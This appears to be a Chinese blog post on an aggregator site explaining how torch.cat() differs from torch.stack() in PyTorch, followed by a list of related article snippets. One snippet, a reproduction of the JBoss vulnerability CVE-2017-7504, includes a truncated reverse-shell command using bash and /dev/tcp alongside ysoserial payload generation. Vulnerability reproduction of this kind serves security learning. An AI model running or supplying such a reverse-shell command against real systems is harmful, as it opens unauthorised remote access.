李沐《动手学深度学习》torch.cat() 和 torch.stack()的区别及思考

news2025/3/7 4:25:49

一、问题引出

好久没更新啦!最近在学习沐神《动手学深度学习》6.5节池化层的时候,发现沐神在两处相似的地方使用了两种Python拼接函数torch.cat()和torch.stack():

torch.stack()
torch.cat()

百思不得其解,于是查阅相关文档之后终于弄清楚了两者之间的区别,遂做总结如下。

二、问题解决

1.torch.cat()

torch.cat()函数可以将多个张量拼接成一个张量。torch.cat()有两个参数,第一个是要拼接的张量的列表或是元组;第二个参数是拼接的维度

# 假设是时间步T1的输出
T1 = torch.tensor([[1, 2, 3],
          [4, 5, 6],
          [7, 8, 9]])
# 假设是时间步T2的输出
T2 = torch.tensor([[10, 20, 30],
          [40, 50, 60],
          [70, 80, 90]])
print("T1.shape: ", T1.shape, "T2.shape: ", T2.shape)
print(torch.cat((T1,T2),dim=0).shape)
print(torch.cat((T1,T2),dim=1).shape)

输出为:

输出

2.torch.stack()

torch.stack()函数同样有张量列表和维度两个参数。stack与cat的区别在于,torch.stack()函数要求输入张量的大小完全相同,得到的张量的维度会比输入的张量的大小多1,并且多出的那个维度就是拼接的维度,那个维度的大小就是输入张量的个数。

print("T1.shape: ", T1.shape, "T2.shape: ", T2.shape)
print(torch.stack((T1,T2),dim=0).shape)
print(torch.stack((T1,T2),dim=1).shape)
print(torch.stack((T1,T2),dim=2).shape)

输出为:

输出

三、总结

总的来说,cat 和 stack的区别在于 cat会增加现有维度的值,可以理解为续接,stack会新加增加一个维度,可以理解为叠加。

使用stack可以保留两个信息:[1. 序列] 和 [2. 张量矩阵] 信息,属于【扩张再拼接】的函数。形象的理解:假如数据都是二维矩阵(平面),它可以把这些一个个平面(矩阵)按第三维(例如:时间序列)压成一个三维的立方体,而立方体的长度就是时间序列长度。该函数常出现在自然语言处理(NLP)和图像卷积神经网络(CV)中。

欢迎大家一起跟着学习沐神的《动手学深度学习》,我建了一个github网站,发布了我的日常学习笔记,欢迎大家star!,网址为https://github.com/BugMaker2002/DeepLearningAction-LiMu

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/999350.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

安全文件传输如何进行管控,从而促进业务的有序发展?

随着信息化技术的不断发展,安全文件传输对于企业来说变得越来越重要,企业数据安全在近几年频繁发生,有不少企业都因数据泄漏而造成不同程度的损失,很多企业花费人力和财力采取各种措施,来确保自身数据安全和文件安全。…

stm32--独立看门狗

最近学习到独立看门狗,总结下笔记 1.看门狗的作用:防止程序异常跑飞,跑飞时,进行系统复位,从而不会导致代码瘫痪,奔溃卡死在某段程序。 2.看门狗其实是12bit递减计数器,,减到0会产…

华为星闪联盟:引领无线通信技术创新的先锋

星闪(NearLink),是由华为倡导并发起的新一代无线短距通信技术,它从零到一全新设计,是为了满足万物互联时代个性化、多样化的极致、创新体验需求而诞生的。这项技术汇聚了中国300多家头部企业和机构的集体智慧&#xff…

睿趣科技:抖音开店前期需要准备什么

抖音作为全球最受欢迎的短视频平台之一,已经成为了许多年轻人的创业和赚钱的机会。如果你计划在抖音上开店,那么在正式开业之前,有一些重要的准备工作是必不可少的。下面就是抖音开店前期需要准备的关键步骤和注意事项。 确定你的目标和产品&…

『PyQt5-Qt Designer篇』| 09 Qt Designer中分割线和间隔如何使用?

09 Qt Designer中分割线和间隔如何使用? 1 间隔1.1 水平间隔1.2 垂直间隔2 分割线2.1 水平线2.2 垂直线3 保存并执行1 间隔 间隔有水平间隔和垂直间隔: 1.1 水平间隔 拖动4个按钮,并设置为水平布局: 在第一个按钮的右边添加一个水平间隔: 设置其sizeType为Fixed,宽度为20…

JDK、CGLib、Javassist实现动态代理

一、类加载 1.类加载过程模拟(先明白类加载过程,方可模拟类运行期间加载-创建代理类,调用目标方法) public class Programmer {public void code() {System.out.println("Im a Programmer,Just Coding.....");} }/***…

第二证券:BC电池概念再度活跃,永和智控涨停,广信材料等拉升

BC电池概念11日盘中再度活跃,截至发稿,广信材料涨超17%,永和智控涨停,帝尔激光涨超6%,英诺激光、爱旭股份涨超3%。 职业方面,近日,隆基绿能举办半年报成绩说明会,会上董事长钟宝申在…

软件架构设计(十三) 构件与中间件技术

中间件的定义 其实中间件是属于构件的一种。是一种独立的系统软件或服务程序,可以帮助分布式应用软件在不同技术之间共享资源。 我们把它定性为一类系统软件,比如我们常说的消息中间件,数据库中间件等等都是中间件的一种体现。一般情况都是给应用系统提供服务,而不是直接…

vue2通过.env进行多环境配置

这边 我们先创建一个本地文件夹 作为项目的存放目录 然后我们执行 vue create 项目名 创建一个vue项目 例如 我这里这样 vue create multiple_environ创建一个叫 multiple_environ 的vue项目 这里 我们选择vue2的版本 然后 在 然后 大家可以配置多个环境 但都需要用因为命…

JBoss 4.x JBossMQ JMS 反序列化漏洞复现(CVE-2017-7504)

一、影响版本 Jboss AS 4.x及之前版本 二、搭建环境 三、漏洞验证 访问/jbossmq-httpil/HTTPServerILServlet,出现以下页面代表存在漏洞 四、漏洞复现 1.nc开启监听 2.生成序列化数据 使用工具ysoserial.jar生成序列化数据 bash -i >& /dev/tcp/192.16…

安全生产:CVE-2020-11022/CVE-2020-11023漏洞解析

文章目录 一、前言二、漏洞原理三、修复方案3.1 升级jQuery3.2 1.x 升级至 3.x 需要考虑的问题3.2.1 table表格元素自动添加tbody3.2.2 方法变更 3.3 jquery migrate是什么 四、拓展阅读 一、前言 代码安全扫描阶段,前端资源审计发现jQuery版本过低导致生产系统存在…

线程生命周期、线程通讯

一、生命周期 有关线程生命周期就要看下面这张图,围绕这张图讲解它的方法的含义,和不同方法间的区别。 1、yield()方法 yield()让当前正在运行的线程回到就绪,以允许具有相同优先级的其他线程获得运行的机会。但是,实际中无法保证…

第5章 【MySQL】InnoDB数据页结构

5.1 不同类型的页简介 页是InnoDB 管理存储空间的基本单位,一个页的大小一般是 16KB 。InnoDB 为了不同的目的而设计了许多种不同类型的 页 ,比如存放表空间头部信息的页,存放 Insert Buffer信息的页,存放 INODE 信息的页&#x…

《低代码指南》——低代码+AI,智能化的构建数字应用

LCHub低代码社区:对低代码平台在AI领域的应用及其成果进行了深入阐述。他强调,在AI时代,工程化的重要性不容忽视,同时,复杂系统建设和数据模型驱动开发也占据了核心地位。 顾伟不仅深入探讨了低代码零代码平台在业界的不同分类和使用场景,还详细解读了低代码平台的功能架…

区块链实验室(22) - go-sdk访问Fisco的案例

在前面的案例中(区块链实验室(21) - Go语言采用SDK访问Fisco的案例),go程序调用FISCO SDK的参数固化在程序中,现将其改造如下。 package mainimport ("flag""fmt""log""github.com/FISCO-BCOS/go-sdk/client"&…

Ubuntu22.04安装及显卡驱动问题

自己有window系统,想搞个ubuntu系统玩玩 一、Ubuntu22.04安装 首先去官网下载ubuntu系统,我下载的是22.04 https://cn.ubuntu.com/download/desktop 准备一个启动盘制作器Rufus,将下载好的镜像烤制到U盘 制作完u盘,进入bios更…

第27章 非阻塞IO实验

上个章节中我们学习了阻塞IO,阻塞IO是通过等待队列来实现的,那么如何让驱动实现非阻塞呢?带着疑问,让我们开始本章节非阻塞IO的学习吧! 27.1 非阻塞IO简介 应用程序可以使用如下所示示例代码来实现阻塞访问&#xff…

浅谈综合管廊智慧运维管理平台应用研究

贾丽丽 安科瑞电气股份有限公司 上海嘉定 201801 摘要:为提升综合管廊运维管理水平,实现管理的数字化转型,采用综合监测系统、BIMGIS 可视化系统、智能机器人巡检、结构安全监测等技术,搭建实时监控、应急管理、数据分析等多功能…

1254. 统计封闭岛屿的数目

二维矩阵 grid 由 0 (土地)和 1 (水)组成。岛是由最大的4个方向连通的 0 组成的群,封闭岛是一个 完全 由1包围(左、上、右、下)的岛。 请返回 封闭岛屿 的数目。 示例 1: 输入&…

健身用哪种耳机好、健身运动耳机推荐

对于和我一样热爱健身和运动的人来说,音乐就像一种调动情绪的"兴奋剂",在戴上耳机、聆听着动感的音乐时,我们能够感受到肌肉的收缩,完全沉浸在自己的世界中。这种状态让我们的训练状态达到巅峰,快乐倍增。因…